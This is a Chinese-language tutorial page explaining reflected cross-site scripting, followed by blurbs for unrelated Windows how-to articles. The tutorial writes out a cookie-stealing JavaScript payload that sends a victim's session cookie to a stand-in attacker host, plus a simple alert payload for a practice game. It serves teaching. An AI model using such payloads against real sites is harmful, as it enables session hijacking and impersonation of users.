Web7:XSS 漏洞利用 – 第 1 部分:反射 XSS

Web7:XSS 漏洞利用 – 第 1 部分:反射 XSS

什麼是跨站腳本?

跨站腳本(XSS)是當今最受歡迎的攻擊技術之一,被譽為攻擊教父,多年來一直被列為應用程式最危險的攻擊技術。

不要簡稱為 CSS,以免與 HTML 的級聯樣式表概念混淆。XSS
技術
是基於將危險腳本插入到 Web 應用程式原始碼中。執行惡意 Javascript 程式碼來接管使用者的登入會話。

為了更好地理解,讓我們考慮以下範例。一個 Web 應用程序,允許列印我們透過 URL 傳入的值,假設我們傳入 name 變數 Ping 值:

Web7:XSS 漏洞利用 – 第 1 部分:反射 XSS

到目前為止一切都很好,讓我們回顧一下html原始碼:

Web7:XSS 漏洞利用 – 第 1 部分:反射 XSS

容易看到的是,我們輸入的name值已經被插入到原始碼中了。因此,導入的任何內容都有可能被插入。如果輸入的值不是像上面那樣的普通字串,而是一段潛在危險的程式碼,問題就會變得嚴重,如下所示:

 

使用上面的值重試:

Web7:XSS 漏洞利用 – 第 1 部分:反射 XSS

從這個例子我們可以得出兩件事。首先,name變數可以接收任何輸入值並將其傳輸到伺服器進行處理。其次,伺服器在將這個輸入值傳回瀏覽器之前並沒有對其進行控制。這導致 javascript 程式碼被插入到原始程式碼中。

XSS 一般分為 3 種主要類型:反射型、儲存型、基於 DOM 型。在這篇文章中我將主要提到Reflected XSS技術。

高達 75% 的 XSS 技術都是基於反射型 XSS。之所以稱為反射,是因為在這種類型的漏洞利用場景中,駭客必須向受害者發送包含惡意程式碼(通常是 javascript)的 URL。受害者只需請求此 URL,駭客就會立即收到包含所需結果的回應(此處顯示的自反性)。另外,也稱為一階XSS。

現實採礦場景

利用反射型 XSS 錯誤的方法有很多,其中最廣為人知的方法之一就是接管使用者的會話,從而存取資料並獲得他們在網站上的權利。

詳細描述如下:

Web7:XSS 漏洞利用 – 第 1 部分:反射 XSS

1. 使用者登入網路並假設已指派會話:

Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4

2. 駭客以某種方式向使用者發送 URL:

http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;

假設 example.com 是受害者造訪的網站,hacker-site.net 是駭客創建的網站

3. 受害者訪問上述URL

4. 伺服器回應受害者以及請求中包含的資料(駭客的 javascript 片段)

5. 受害者瀏覽器收到回應並執行javascript

6. 駭客創建的實際javascript如下:

var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;

上面的命令列本質上是向駭客的網站發出請求,參數是使用者 cookie:

GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net

7. 駭客將從您的網站捕獲上述請求內容並認為使用者的會話被接管。此時,駭客就可以冒充受害者,並在受害者所擁有的網站上行使所有權利。

實踐

Google 在此處創建了一個練習利用 XSS 錯誤的頁面:https ://xss-game.appspot.com

這些挑戰的目標是您必須注入腳本來彈出彈出視窗。第一個挑戰是說明反射技術,利用程式碼非常簡單:

https://xss-game.appspot.com/level1/frame?query=alert('pwned')

祝你好運!


什麼是惡意軟體 HackTool:Win32/Keygen?如何去除?

什麼是惡意軟體 HackTool:Win32/Keygen?如何去除?

您是否掃描過您的設備並發現它感染了 HackTool:Win32/Keygen?在您使用破解或金鑰產生器啟動進階軟體後,Windows Defender 可能會自動警告您有關此惡意軟體的存在。

在 Windows 10 上建立備份和還原點(Restore Point)的說明

在 Windows 10 上建立備份和還原點(Restore Point)的說明

探索如何在Windows 10上建立和管理還原點,這是一項有效的系統保護功能,可以讓您快速還原系統至先前狀態。

在 Windows 10 中開啟裝置管理員的 15 種方法

在 Windows 10 中開啟裝置管理員的 15 種方法

您可以使用以下 15 種方法輕鬆在 Windows 10 中開啟<strong>裝置管理員</strong>,包括使用命令、捷徑和搜尋。

Windows「顯示桌面」的 10 種超快速方法

Windows「顯示桌面」的 10 種超快速方法

很多人不知道如何快速顯示桌面,只好將各個視窗一一最小化。這種方法對於用戶來說非常耗時且令人沮喪。因此,本文將向您介紹Windows中快速顯示桌面的十種超快速方法。

如何使用 Windows Repair 修復 Windows 錯誤

如何使用 Windows Repair 修復 Windows 錯誤

Windows Repair 是一款有效的 Windows 錯誤修復工具,幫助使用者修復與 Internet Explorer、Windows Update 和其他重要程式相關的錯誤。

如何在 Windows 10 中開啟資料夾選項或檔案總管選項

如何在 Windows 10 中開啟資料夾選項或檔案總管選項

您可以使用檔案總管選項來變更檔案和資料夾的工作方式並控制顯示。掌握如何在 Windows 10 中開啟資料夾選項的多種方法。

有關在 Windows 10 上刪除使用者帳戶的 5 種方法的說明

有關在 Windows 10 上刪除使用者帳戶的 5 種方法的說明

刪除不使用的使用者帳戶可以顯著釋放記憶體空間,並讓您的電腦運行得更流暢。了解如何刪除 Windows 10 使用者帳戶的最佳方法。

如何使用Bootsect /nt60將VBC更新為BOOTMGR

如何使用Bootsect /nt60將VBC更新為BOOTMGR

使用 bootsect 命令能夠輕鬆修復磁碟區引導程式碼錯誤,確保系統正常啟動,避免 hal.dll 錯誤及其他啟動問題。

Windows 11 中的存檔應用程式功能是什麼?應該啟用還是停用它?

Windows 11 中的存檔應用程式功能是什麼?應該啟用還是停用它?

存檔應用程式是一項功能,可以自動卸載您很少使用的應用程序,同時保留其關聯的檔案和設定。了解如何有效利用 Windows 11 中的存檔應用程式功能。

如何在 Windows 10 上為 BlueStacks 5 啟用虛擬化 (VT)

如何在 Windows 10 上為 BlueStacks 5 啟用虛擬化 (VT)

要啟用虛擬化,您必須先進入 BIOS 並從 BIOS 設定中啟用虛擬化,這將顯著提升在 BlueStacks 5 上的效能和遊戲體驗。